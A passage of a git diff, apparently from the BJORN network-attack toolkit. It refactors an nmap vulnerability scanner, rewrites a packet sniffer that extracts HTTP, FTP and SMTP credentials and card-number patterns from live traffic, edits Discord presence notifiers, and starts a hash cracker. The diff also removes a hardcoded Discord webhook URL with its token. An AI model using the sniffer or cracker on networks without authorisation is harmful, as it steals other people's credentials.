x.strip()] - return parts or [cpe] - if isinstance(cpe, (list, tuple, set)): - return [str(x).strip() for x in cpe if str(x).strip()] - try: - return [str(cpe).strip()] if str(cpe).strip() else [] - except Exception: - return [] - - def extract_cves(self, text: str) -> List[str]: - """Extrait les identifiants CVE d'un texte.""" - import re - if not text: - return [] - cve_pattern = r'CVE-\d{4}-\d{4,7}' - return re.findall(cve_pattern, str(text), re.IGNORECASE) - def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]: - """(Fallback lourd) Scan CPE détaillé si demandé.""" - cpe_vulns: List[Dict] = [] + cpe_vulns = [] + nm = nmap.PortScanner() # Instance locale try: - port_list = ','.join([str(p) for p in ports if str(p).strip()]) - if not port_list: - return cpe_vulns + port_list = ','.join([str(p) for p in ports]) + # --version-light à la place de --version-all (bien plus rapide) + args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s" + nm.scan(hosts=ip, ports=port_list, arguments=args) - args = "-sV --version-all -T3 --max-retries 2 --host-timeout 45s" - logger.info(f"[CPE] nmap {ip} -p {port_list} ({args})") - self.nm.scan(hosts=ip, ports=port_list, arguments=args) - - if ip in self.nm.all_hosts(): - host = self.nm[ip] + if ip in nm.all_hosts(): + host = nm[ip] for proto in host.all_protocols(): for port in host[proto].keys(): port_info = host[proto][port] @@ -319,90 +400,61 @@ class NmapVulnScanner: 'service': service, 'vuln_id': f"CPE:{cpe}", 'script': 'version-scan', - 'details': f"CPE detected: {cpe}"[:500] + 'details': f"CPE: {cpe}" }) except Exception as e: - logger.error(f"CPE scan error: {e}") + logger.error(f"scan_cpe failed for {ip}: {e}") return cpe_vulns - + # ---------------------------- Persistence ---------------------------- # def save_vulnerabilities(self, mac: str, ip: str, findings: List[Dict]): - """Sépare CPE et CVE, met à jour les statuts + enregistre les nouveautés.""" - - # Récupérer le hostname depuis la DB hostname = None try: host_row = self.shared_data.db.query_one( - "SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", - (mac,) + "SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", (mac,) ) if host_row and host_row.get('hostnames'): hostname = host_row['hostnames'].split(';')[0] - except Exception as e: - logger.debug(f"Could not fetch hostname: {e}") - - # Grouper par port avec les infos complètes - findings_by_port = {} + except Exception: + pass + + findings_by_port: Dict[int, Dict] = {} for f in findings: port = int(f.get('port', 0) or 0) - if port not in findings_by_port: - findings_by_port[port] = { - 'cves': set(), - 'cpes': set(), - 'findings': [] - } - - findings_by_port[port]['findings'].append(f) - + findings_by_port[port] = {'cves': set(), 'cpes': set()} + vid = str(f.get('vuln_id', '')) - if vid.upper().startswith('CVE-'): + vid_upper = vid.upper() + if vid_upper.startswith('CVE-'): findings_by_port[port]['cves'].add(vid) - elif vid.upper().startswith('CPE:'): - findings_by_port[port]['cpes'].add(vid.split(':', 1)[1]) - elif vid.lower().startswith('cpe:'): - findings_by_port[port]['cpes'].add(vid) + elif vid_upper.startswith('CPE:'): + # On stocke sans le préfixe "CPE:" + findings_by_port[port]['cpes'].add(vid[4:]) - # 1) Traiter les CVE par port + # 1) CVEs for port, data in findings_by_port.items(): - if data['cves']: - for cve in data['cves']: - try: - existing = self.shared_data.db.query_one( - "SELECT id FROM vulnerabilities WHERE mac_address=? AND vuln_id=? AND port=? LIMIT 1", - (mac, cve, port) - ) - - if existing: - self.shared_data.db.execute(""" - UPDATE vulnerabilities - SET ip=?, hostname=?, last_seen=CURRENT_TIMESTAMP, is_active=1 - WHERE mac_address=? AND vuln_id=? AND port=? - """, (ip, hostname, mac, cve, port)) - else: - self.shared_data.db.execute(""" - INSERT INTO vulnerabilities(mac_address, ip, hostname, port, vuln_id, is_active) - VALUES(?,?,?,?,?,1) - """, (mac, ip, hostname, port, cve)) - - logger.debug(f"Saved CVE {cve} for {ip}:{port}") - - except Exception as e: - logger.error(f"Failed to save CVE {cve}: {e}") + for cve in data['cves']: + try: + self.shared_data.db.execute(""" + INSERT INTO vulnerabilities(mac_address, ip, hostname, port, vuln_id, is_active, last_seen) + VALUES(?,?,?,?,?,1,CURRENT_TIMESTAMP) + ON CONFLICT(mac_address, vuln_id, port) DO UPDATE SET + is_active=1, last_seen=CURRENT_TIMESTAMP, ip=excluded.ip + """, (mac, ip, hostname, port, cve)) + except Exception as e: + logger.error(f"Save CVE err: {e}") - # 2) Traiter les CPE + # 2) CPEs for port, data in findings_by_port.items(): for cpe in data['cpes']: try: self.shared_data.db.add_detected_software( - mac_address=mac, - cpe=cpe, - ip=ip, - hostname=hostname, - port=port + mac_address=mac, cpe=cpe, ip=ip, + hostname=hostname, port=port ) except Exception as e: - logger.error(f"Failed to save CPE {cpe}: {e}") + logger.error(f"Save CPE err: {e}") - logger.info(f"Saved vulnerabilities for {ip} ({mac}): {len(findings_by_port)} ports processed") \ No newline at end of file + logger.info(f"Saved vulnerabilities for {ip}: {len(findings)} findings") \ No newline at end of file diff --git a/actions/odin_eye.py b/actions/odin_eye.py index 7014b95..062cfc2 100644 --- a/actions/odin_eye.py +++ b/actions/odin_eye.py @@ -1,110 +1,85 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +odin_eye.py -- Network traffic analyzer and credential hunter for BJORN. +Uses pyshark to capture and analyze packets in real-time. +""" import os +import json try: - import psutil -except Exception: - psutil = None + import pyshark + HAS_PYSHARK = True +except ImportError: + pyshark = None + HAS_PYSHARK = False +import re +import threading +import time +import logging +from datetime import datetime -def _list_net_ifaces() -> list[str]: - names = set() - # 1) psutil si dispo - if psutil: - try: - names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo") - except Exception: - pass - # 2) fallback kernel - try: - for n in os.listdir("/sys/class/net"): - if n and n != "lo": - names.add(n) - except Exception: - pass - out = ["auto"] + sorted(names) - # sécurité: pas de doublons - seen, unique = set(), [] - for x in out: - if x not in seen: - unique.append(x); seen.add(x) - return unique +from collections import defaultdict +from typing import Any, Dict, List, Optional +from logger import Logger -# Hook appelée par le backend avant affichage UI / sync DB -def compute_dynamic_b_args(base: dict) -> dict: - """ - Compute dynamic arguments at runtime. - Called by the web interface to populate dropdowns, etc. - """ - d = dict(base or {}) - - # Example: Dynamic interface list - if "interface" in d: - import psutil - interfaces = ["auto"] - try: - for ifname in psutil.net_if_addrs().keys(): - if ifname != "lo": - interfaces.append(ifname) - except: - interfaces.extend(["wlan0", "eth0"]) - - d["interface"]["choices"] = interfaces - - return d +logger = Logger(name="odin_eye.py") -# --- MÉTADONNÉES UI SUPPLÉMENTAIRES ----------------------------------------- -# Exemples d’arguments (affichage frontend; aussi persisté en DB via sync_actions) -b_examples = [ - {"interface": "auto", "filter": "http or ftp", "timeout": 120, "max_packets": 5000, "save_credentials": True}, - {"interface": "wlan0", "filter": "(http or smtp) and not broadcast", "timeout": 300, "max_packets": 10000}, -] - -# Lien MD (peut être un chemin local servi par votre frontend, ou un http(s)) -# Exemple: un README markdown stocké dans votre repo -b_docs_url = "docs/actions/OdinEye.md" - - -# --- Métadonnées d'action (consommées par shared.generate_actions_json) ----- +# -------------------- Action metadata -------------------- b_class = "OdinEye" -b_module = "odin_eye" # nom du fichier sans .py -b_enabled = 0 +b_module = "odin_eye" +b_status = "odin_eye" +b_port = None +b_service = "[]" +b_trigger = "on_start" +b_parent = None b_action = "normal" +b_priority = 30 +b_cooldown = 0 +b_rate_limit = None +b_timeout = 600 +b_max_retries = 1 +b_stealth_level = 4 # Capturing is passive, but pyshark can be resource intensive +b_risk_level = "low" +b_enabled = 1 +b_tags = ["sniff", "pcap", "creds", "network"] b_category = "recon" b_name = "Odin Eye" -b_description = ( - "Network traffic analyzer for capturing and analyzing data patterns and credentials.\n" - "Requires: tshark (sudo apt install tshark) + pyshark (pip install pyshark)." -) -b_author = "Fabien / Cyberviking" -b_version = "1.0.0" +b_description = "Passive network analyzer that hunts for credentials and data patterns." +b_author = "Bjorn Team" +b_version = "2.0.1" b_icon = "OdinEye.png" -# Schéma d'arguments pour UI dynamique (clé == nom du flag sans '--') b_args = { "interface": { - "type": "select", "label": "Network Interface", - "choices": [], # <- Laisser vide: rempli dynamiquement par compute_dynamic_b_args(...) + "type": "select", + "label": "Network Interface", + "choices": ["auto", "wlan0", "eth0"], "default": "auto", - "help": "Interface à écouter. 'auto' tente de détecter l'interface par défaut." }, - "filter": {"type": "text", "label": "BPF Filter", "default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"}, - "output": {"type": "text", "label": "Output dir", "default": "/home/bjorn/Bjorn/data/output/packets"}, - "timeout": {"type": "number", "label": "Timeout (s)", "min": 10, "max": 36000, "step": 1, "default": 300}, - "max_packets": {"type": "number", "label": "Max packets", "min": 100, "max": 2000000, "step": 100, "default": 10000}, + "help": "Interface to listen on." + }, + "filter": { + "type": "text", + "label": "BPF Filter", + "default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast" + }, + "max_packets": { + "type": "number", + "label": "Max packets", + "min": 100, + "max": 100000, + "step": 100, + "default": 1000 + }, + "save_creds": { + "type": "checkbox", + "label": "Save Credentials", + "default": True + } } -# ----------------- Code d'analyse (ton code existant) ----------------------- -import os, json, pyshark, argparse, logging, re, threading, signal -from datetime import datetime -from collections import defaultdict - -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') - -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/packets" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "odin_eye_settings.json") -DEFAULT_FILTER = "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast" - CREDENTIAL_PATTERNS = { 'http': { 'username': [r'username=([^&]+)', r'user=([^&]+)', r'login=([^&]+)'], @@ -120,297 +95,153 @@ CREDENTIAL_PATTERNS = { } class OdinEye: - def __init__(self, interface, capture_filter=DEFAULT_FILTER, output_dir=DEFAULT_OUTPUT_DIR, - timeout=300, max_packets=10000): - self.interface = interface - self.capture_filter = capture_filter - self.output_dir = output_dir - self.timeout = timeout - self.max_packets = max_packets + def __init__(self, shared_data): + self.shared_data = shared_data self.capture = None - self.stop_capture = threading.Event() - + self.stop_event = threading.Event() self.statistics = defaultdict(int) - self.credentials = [] - self.interesting_patterns = [] - + self.credentials: List[Dict[str, Any]] = [] self.lock = threading.Lock() def process_packet(self, packet): + """Analyze a single packet for patterns and credentials.""" try: with self.lock: self.statistics['total_packets'] += 1 if hasattr(packet, 'highest_layer'): self.statistics[packet.highest_layer] += 1 + if hasattr(packet, 'tcp'): - self.analyze_tcp_packet(packet) - except Exception as e: - logging.error(f"Error processing packet: {e}") + # HTTP + if hasattr(packet, 'http'): + self._analyze_http(packet) + # FTP + elif hasattr(packet, 'ftp'): + self._analyze_ftp(packet) + # SMTP + elif hasattr(packet, 'smtp'): + self._analyze_smtp(packet) + + # Payload generic check + if hasattr(packet.tcp, 'payload'): + self._analyze_payload(packet.tcp.payload) - def analyze_tcp_packet(self, packet): - try: - if hasattr(packet, 'http'): - self.analyze_http_packet(packet) - elif hasattr(packet, 'ftp'): - self.analyze_ftp_packet(packet) - elif hasattr(packet, 'smtp'): - self.analyze_smtp_packet(packet) - if hasattr(packet.tcp, 'payload'): - self.analyze_payload(packet.tcp.payload) except Exception as e: - logging.error(f"Error analyzing TCP packet: {e}") + logger.debug(f"Packet processing error: {e}") - def analyze_http_packet(self, packet): - try: - if hasattr(packet.http, 'request_uri'): - for field in ['username', 'password']: - for pattern in CREDENTIAL_PATTERNS['http'][field]: - matches = re.findall(pattern, packet.http.request_uri) - if matches: - with self.lock: - self.credentials.append({ - 'protocol': 'HTTP', - 'type': field, - 'value': matches[0], - 'timestamp': datetime.now().isoformat(), - 'source': packet.ip.src if hasattr(packet, 'ip') else None - }) - except Exception as e: - logging.error(f"Error analyzing HTTP packet: {e}") + def _analyze_http(self, packet): + if hasattr(packet.http, 'request_uri'): + uri = packet.http.request_uri + for field in ['username', 'password']: + for pattern in CREDENTIAL_PATTERNS['http'][field]: + m = re.findall(pattern, uri, re.I) + if m: + self._add_cred('HTTP', field, m[0], getattr(packet.ip, 'src', 'unknown')) - def analyze_ftp_packet(self, packet): - try: - if hasattr(packet.ftp, 'request_command'): - cmd = packet.ftp.request_command.upper() - if cmd in ['USER', 'PASS']: - with self.lock: - self.credentials.append({ - 'protocol': 'FTP', - 'type': 'username' if cmd == 'USER' else 'password', - 'value': packet.ftp.request_arg, - 'timestamp': datetime.now().isoformat(), - 'source': packet.ip.src if hasattr(packet, 'ip') else None - }) - except Exception as e: - logging.error(f"Error analyzing FTP packet: {e}") + def _analyze_ftp(self, packet): + if hasattr(packet.ftp, 'request_command'): + cmd = packet.ftp.request_command.upper() + if cmd in ['USER', 'PASS']: + field = 'username' if cmd == 'USER' else 'password' + self._add_cred('FTP', field, packet.ftp.request_arg, getattr(packet.ip, 'src', 'unknown')) - def analyze_smtp_packet(self, packet): - try: - if hasattr(packet.smtp, 'command_line'): - for pattern in CREDENTIAL_PATTERNS['smtp']['auth']: - matches = re.findall(pattern, packet.smtp.command_line) - if matches: - with self.lock: - self.credentials.append({ - 'protocol': 'SMTP', - 'type': 'auth', - 'value': matches[0], - 'timestamp': datetime.now().isoformat(), - 'source': packet.ip.src if hasattr(packet, 'ip') else None - }) - except Exception as e: - logging.error(f"Error analyzing SMTP packet: {e}") + def _analyze_smtp(self, packet): + if hasattr(packet.smtp, 'command_line'): + line = packet.smtp.command_line + for pattern in CREDENTIAL_PATTERNS['smtp']['auth']: + m = re.findall(pattern, line, re.I) + if m: + self._add_cred('SMTP', 'auth', m[0], getattr(packet.ip, 'src', 'unknown')) - def analyze_payload(self, payload): + def _analyze_payload(self, payload): patterns = { 'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', - 'credit_card': r'\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b', - 'ip_address': r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b' + 'credit_card': r'\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b' } for name, pattern in patterns.items(): - matches = re.findall(pattern, payload) - if matches: - with self.lock: - self.interesting_patterns.append({ - 'type': name, - 'value': matches[0], - 'timestamp': datetime.now().isoformat() - }) + m = re.findall(pattern, payload) + if m: + self.shared_data.log_milestone(b_class, "PatternFound", f"{name} detected in traffic") + + def _add_cred(self, proto, field, value, source): + with self.lock: + cred = { + 'protocol': proto, + 'type': field, + 'value': value, + 'timestamp': datetime.now().isoformat(), + 'source': source + } + if cred not in self.credentials: + self.credentials.append(cred) + logger.success(f"OdinEye: Credential found! [{proto}] {field}={value}") + self.shared_data.log_milestone(b_class, "Credential", f"{proto} {field} captured") + + def execute(self, ip, port, row, status_key) -> str: + """Standard entry point.""" + iface = getattr(self.shared_data, "odin_eye_interface", "auto") + if iface == "auto": + iface = None # pyshark handles None as default + + bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"]) + max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000)) + timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300)) + output_dir = getattr(self.shared_data, "odin_eye_output", "/home/bjorn/Bjorn/data/output/packets") + + logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})") + self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}") - def save_results(self): try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - stats_file = os.path.join(self.output_dir, f"capture_stats_{timestamp}.json") - with open(stats_file, 'w') as f: - json.dump(dict(self.statistics), f, indent=4) - if self.credentials: - creds_file = os.path.join(self.output_dir, f"credentials_{timestamp}.json") - with open(creds_file, 'w') as f: - json.dump(self.credentials, f, indent=4) - if self.interesting_patterns: - patterns_file = os.path.join(self.output_dir, f"patterns_{timestamp}.json") - with open(patterns_file, 'w') as f: - json.dump(self.interesting_patterns, f, indent=4) - logging.info(f"Results saved to {self.output_dir}") - except Exception as e: - logging.error(f"Failed to save results: {e}") - - def execute(self): - try: - # Timeout thread (inchangé) ... - if self.timeout and self.timeout > 0: - def _stop_after(): - self.stop_capture.wait(self.timeout) - self.stop_capture.set() - threading.Thread(target=_stop_after, daemon=True).start() - - logging.info(...) - - self.capture = pyshark.LiveCapture(interface=self.interface, bpf_filter=self.capture_filter) - - # Interruption douce — SKIP si on tourne en mode importlib (thread) - if os.environ.get("BJORN_EMBEDDED") != "1": - try: - signal.signal(signal.SIGINT, self.handle_interrupt) - signal.signal(signal.SIGTERM, self.handle_interrupt) - except Exception: - # Ex: ValueError si pas dans le main thread - pass - + self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter) + + start_time = time.time() + packet_count = 0 + + # Use sniff_continuously for real-time processing for packet in self.capture.sniff_continuously(): - if self.stop_capture.is_set() or self.statistics['total_packets'] >= self.max_packets: + if self.shared_data.orchestrator_should_exit: break + + if time.time() - start_time > timeout: + logger.info("OdinEye: Timeout reached.") + break + + packet_count += 1 + if packet_count >= max_pkts: + logger.info("OdinEye: Max packets reached.") + break + self.process_packet(packet) + + # Periodic progress update (every 50 packets) + if packet_count % 50 == 0: + prog = int((packet_count / max_pkts) * 100) + self.shared_data.bjorn_progress = f"{prog}%" + self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets") + except Exception as e: - logging.error(f"Capture error: {e}") + logger.error(f"Capture error: {e}") + self.shared_data.log_milestone(b_class, "Error", str(e)) + return "failed" finally: - self.cleanup() + if self.capture: + try: self.capture.close() + except: pass + + # Save results + if self.credentials or self.statistics['total_packets'] > 0: + os.makedirs(output_dir, exist_ok=True) + ts = datetime.now().strftime("%Y%m%d_%H%M%S") + with open(os.path.join(output_dir, f"odin_recon_{ts}.json"), 'w') as f: + json.dump({ + "stats": dict(self.statistics), + "credentials": self.credentials + }, f, indent=4) + self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.") - def handle_interrupt(self, signum, frame): - self.stop_capture.set() - - def cleanup(self): - if self.capture: - self.capture.close() - self.save_results() - logging.info("Capture completed") - -def save_settings(interface, capture_filter, output_dir, timeout, max_packets): - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "interface": interface, - "capture_filter": capture_filter, - "output_dir": output_dir, - "timeout": timeout, - "max_packets": max_packets - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") - -def load_settings(): - if os.path.exists(SETTINGS_FILE): - try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} - -def main(): - parser = argparse.ArgumentParser(description="OdinEye: network traffic analyzer & credential hunter") - parser.add_argument("-i", "--interface", required=False, help="Network interface to monitor") - parser.add_argument("-f", "--filter", default=DEFAULT_FILTER, help="BPF capture filter") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - parser.add_argument("-t", "--timeout", type=int, default=300, help="Capture timeout in seconds") - parser.add_argument("-m", "--max-packets", type=int, default=10000, help="Maximum packets to capture") - args = parser.parse_args() - - settings = load_settings() - interface = args.interface or settings.get("interface") - capture_filter = args.filter or settings.get("capture_filter", DEFAULT_FILTER) - output_dir = args.output or settings.get("output_dir", DEFAULT_OUTPUT_DIR) - timeout = args.timeout or settings.get("timeout", 300) - max_packets = args.max_packets or settings.get("max_packets", 10000) - - if not interface: - logging.error("Interface is required. Use -i or set it in settings") - return - - save_settings(interface, capture_filter, output_dir, timeout, max_packets) - analyzer = OdinEye(interface, capture_filter, output_dir, timeout, max_packets) - analyzer.execute() + return "success" if __name__ == "__main__": - main() - - - - -""" -# action_template.py -# Example template for a Bjorn action with Neo launcher support - -# UI Metadata -b_class = "MyAction" -b_module = "my_action" -b_enabled = 1 -b_action = "normal" # normal, aggressive, stealth -b_description = "Description of what this action does" - -# Arguments schema for UI -b_args = { - "target": { - "type": "text", - "label": "Target IP/Host", - "default": "192.168.1.1", - "placeholder": "Enter target", - "help": "The target to scan" - }, - "port": { - "type": "number", - "label": "Port", - "default": 80, - "min": 1, - "max": 65535 - }, - "protocol": { - "type": "select", - "label": "Protocol", - "choices": ["tcp", "udp"], - "default": "tcp" - }, - "verbose": { - "type": "checkbox", - "label": "Verbose output", - "default": False - }, - "timeout": { - "type": "slider", - "label": "Timeout (seconds)", - "min": 10, - "max": 300, - "step": 10, - "default": 60 - } -} - -def compute_dynamic_b_args(base: dict) -> dict: - # Compute dynamic values at runtime - return base - -import argparse -import sys - -def main(): - parser = argparse.ArgumentParser(description=b_description) - parser.add_argument('--target', default=b_args['target']['default']) - parser.add_argument('--port', type=int, default=b_args['port']['default']) - parser.add_argument('--protocol', choices=b_args['protocol']['choices'], - default=b_args['protocol']['default']) - parser.add_argument('--verbose', action='store_true') - parser.add_argument('--timeout', type=int, default=b_args['timeout']['default']) - - args = parser.parse_args() - - # Your action logic here - print(f"Starting action with target: {args.target}") - # ... - -if __name__ == "__main__": - main() -""" \ No newline at end of file + from init_shared import shared_data + eye = OdinEye(shared_data) + eye.execute("0.0.0.0", None, {}, "odin_eye") \ No newline at end of file diff --git a/actions/presence_join.py b/actions/presence_join.py index 38291d9..783d88a 100644 --- a/actions/presence_join.py +++ b/actions/presence_join.py @@ -10,7 +10,8 @@ PresenceJoin — Sends a Discord webhook when the targeted host JOINS the networ import requests from typing import Optional import logging -from datetime import datetime, timezone +import datetime + from logger import Logger from shared import SharedData # only if executed directly for testing @@ -29,19 +30,19 @@ b_rate_limit = None b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan) b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed -# Replace with your webhook -DISCORD_WEBHOOK_URL = "https://discordapp.com/api/webhooks/1416433823456956561/MYc2mHuqgK_U8tA96fs2_-S1NVchPzGOzan9EgLr4i8yOQa-3xJ6Z-vMejVrpPfC3OfD" +DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB class PresenceJoin: def __init__(self, shared_data): self.shared_data = shared_data def _send(self, text: str) -> None: - if not DISCORD_WEBHOOK_URL or "webhooks/" not in DISCORD_WEBHOOK_URL: + url = getattr(self.shared_data, 'discord_webhook_url', None) or DISCORD_WEBHOOK_URL + if not url or "webhooks/" not in url: logger.error("PresenceJoin: DISCORD_WEBHOOK_URL missing/invalid.") return try: - r = requests.post(DISCORD_WEBHOOK_URL, json={"content": text}, timeout=6) + r = requests.post(url, json={"content": text}, timeout=6) if r.status_code < 300: logger.info("PresenceJoin: webhook sent.") else: @@ -61,7 +62,8 @@ class PresenceJoin: ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip() # Add timestamp in UTC - timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") + timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") + msg = f"✅ **Presence detected**\n" msg += f"- Host: {host or 'unknown'}\n" diff --git a/actions/presence_left.py b/actions/presence_left.py index 43ee6b1..9b6dcab 100644 --- a/actions/presence_left.py +++ b/actions/presence_left.py @@ -10,7 +10,8 @@ PresenceLeave — Sends a Discord webhook when the targeted host LEAVES the netw import requests from typing import Optional import logging -from datetime import datetime, timezone +import datetime + from logger import Logger from shared import SharedData # only if executed directly for testing @@ -30,19 +31,19 @@ b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed b_enabled = 1 -# Replace with your webhook (can reuse the same as PresenceJoin) -DISCORD_WEBHOOK_URL = "https://discordapp.com/api/webhooks/1416433823456956561/MYc2mHuqgK_U8tA96fs2_-S1NVchPzGOzan9EgLr4i8yOQa-3xJ6Z-vMejVrpPfC3OfD" +DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB class PresenceLeave: def __init__(self, shared_data): self.shared_data = shared_data def _send(self, text: str) -> None: - if not DISCORD_WEBHOOK_URL or "webhooks/" not in DISCORD_WEBHOOK_URL: + url = getattr(self.shared_data, 'discord_webhook_url', None) or DISCORD_WEBHOOK_URL + if not url or "webhooks/" not in url: logger.error("PresenceLeave: DISCORD_WEBHOOK_URL missing/invalid.") return try: - r = requests.post(DISCORD_WEBHOOK_URL, json={"content": text}, timeout=6) + r = requests.post(url, json={"content": text}, timeout=6) if r.status_code < 300: logger.info("PresenceLeave: webhook sent.") else: @@ -61,7 +62,8 @@ class PresenceLeave: ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip() # Add timestamp in UTC - timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") + timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC") + msg = f"❌ **Presence lost**\n" msg += f"- Host: {host or 'unknown'}\n" diff --git a/actions/rune_cracker.py b/actions/rune_cracker.py index 669f784..62fa283 100644 --- a/actions/rune_cracker.py +++ b/actions/rune_cracker.py @@ -1,35 +1,52 @@ -# Advanced password cracker supporting multiple hash formats and attack methods. -# Saves settings in `/home/bjorn/.settings_bjorn/rune_cracker_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --input Input file containing hashes to crack. -# -w, --wordlist Path to password wordlist (default: built-in list). -# -r, --rules Path to rules file for mutations (default: built-in rules). -# -t, --type Hash type (md5, sha1, sha256, sha512, ntlm). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/hashes). +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +rune_cracker.py -- Advanced password cracker for BJORN. +Supports multiple hash formats and uses bruteforce_common for progress tracking. +Optimized for Pi Zero 2 (limited CPU/RAM). +""" import os import json import hashlib -import argparse -from datetime import datetime -import logging -import threading -from concurrent.futures import ThreadPoolExecutor -import itertools import re +import threading +import time +from datetime import datetime +from concurrent.futures import ThreadPoolExecutor +from typing import Any, Dict, List, Optional, Set + +from logger import Logger +from actions.bruteforce_common import ProgressTracker, merged_password_plan + +logger = Logger(name="rune_cracker.py") + +# -------------------- Action metadata -------------------- b_class = "RuneCracker" b_module = "rune_cracker" -b_enabled = 0 - -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') - -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/hashes" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "rune_cracker_settings.json") +b_status = "rune_cracker" +b_port = None +b_service = "[]" +b_trigger = "on_start" +b_parent = None +b_action = "normal" +b_priority = 40 +b_cooldown = 0 +b_rate_limit = None +b_timeout = 600 +b_max_retries = 1 +b_stealth_level = 10 # Local cracking is stealthy +b_risk_level = "low" +b_enabled = 1 +b_tags = ["crack", "hash", "bruteforce", "local"] +b_category = "exploitation" +b_name = "Rune Cracker" +b_description = "Advanced password cracker with mutation rules and progress tracking." +b_author = "Bjorn Team" +b_version = "2.1.0" +b_icon = "RuneCracker.png" # Supported hash types and their patterns HASH_PATTERNS = { @@ -40,226 +57,153 @@ HASH_PATTERNS = { 'ntlm': r'^[a-fA-F0-9]{32}$' } + class RuneCracker: - def __init__(self, input_file, wordlist=None, rules=None, hash_type=None, output_dir=DEFAULT_OUTPUT_DIR): - self.input_file = input_file - self.wordlist = wordlist - self.rules = rules - self.hash_type = hash_type - self.output_dir = output_dir - - self.hashes = set() - self.cracked = {} + def __init__(self, shared_data): + self.shared_data = shared_data + self.hashes: Set[str] = set() + self.cracked: Dict[str, Dict[str, Any]] = {} self.lock = threading.Lock() + self.hash_type: Optional[str] = None - # Load mutation rules - self.mutation_rules = self.load_rules() - - def load_hashes(self): - """Load hashes from input file and validate format.""" - try: - with open(self.input_file, 'r') as f: - for line in f: - hash_value = line.strip() - if self.hash_type: - if re.match(HASH_PATTERNS[self.hash_type], hash_value): - self.hashes.add(hash_value) - else: - # Try to auto-detect hash type - for h_type, pattern in HASH_PATTERNS.items(): - if re.match(pattern, hash_value): - self.hashes.add(hash_value) - break - - logging.info(f"Loaded {len(self.hashes)} valid hashes") - - except Exception as e: - logging.error(f"Error loading hashes: {e}") - - def load_wordlist(self): - """Load password wordlist.""" - if self.wordlist and os.path.exists(self.wordlist): - with open(self.wordlist, 'r', errors='ignore') as f: - return [line.strip() for line in f if line.strip()] - return ['password', 'admin', '123456', 'qwerty', 'letmein'] - - def load_rules(self): - """Load mutation rules.""" - if self.rules and os.path.exists(self.rules): - with open(self.rules, 'r') as f: - return [line.strip() for line in f if line.strip() and not line.startswith('#')] - return [ - 'capitalize', - 'lowercase', - 'uppercase', - 'l33t', - 'append_numbers', - 'prepend_numbers', - 'toggle_case' - ] - - def apply_mutations(self, word): - """Apply various mutation rules to a word.""" - mutations = set([word]) + # Performance tuning for Pi Zero 2 + self.max_workers = int(getattr(shared_data, "rune_cracker_workers", 4)) - for rule in self.mutation_rules: - if rule == 'capitalize': - mutations.add(word.capitalize()) - elif rule == 'lowercase': - mutations.add(word.lower()) - elif rule == 'uppercase': - mutations.add(word.upper()) - elif rule == 'l33t': - mutations.add(word.replace('a', '@').replace('e', '3').replace('i', '1') - .replace('o', '0').replace('s', '5')) - elif rule == 'append_numbers': - mutations.update(word + str(n) for n in range(100)) - elif rule == 'prepend_numbers': - mutations.update(str(n) + word for n in range(100)) - elif rule == 'toggle_case': - mutations.add(''.join(c.upper() if i % 2 else c.lower() - for i, c in enumerate(word))) - - return mutations - - def hash_password(self, password, hash_type): + def _hash_password(self, password: 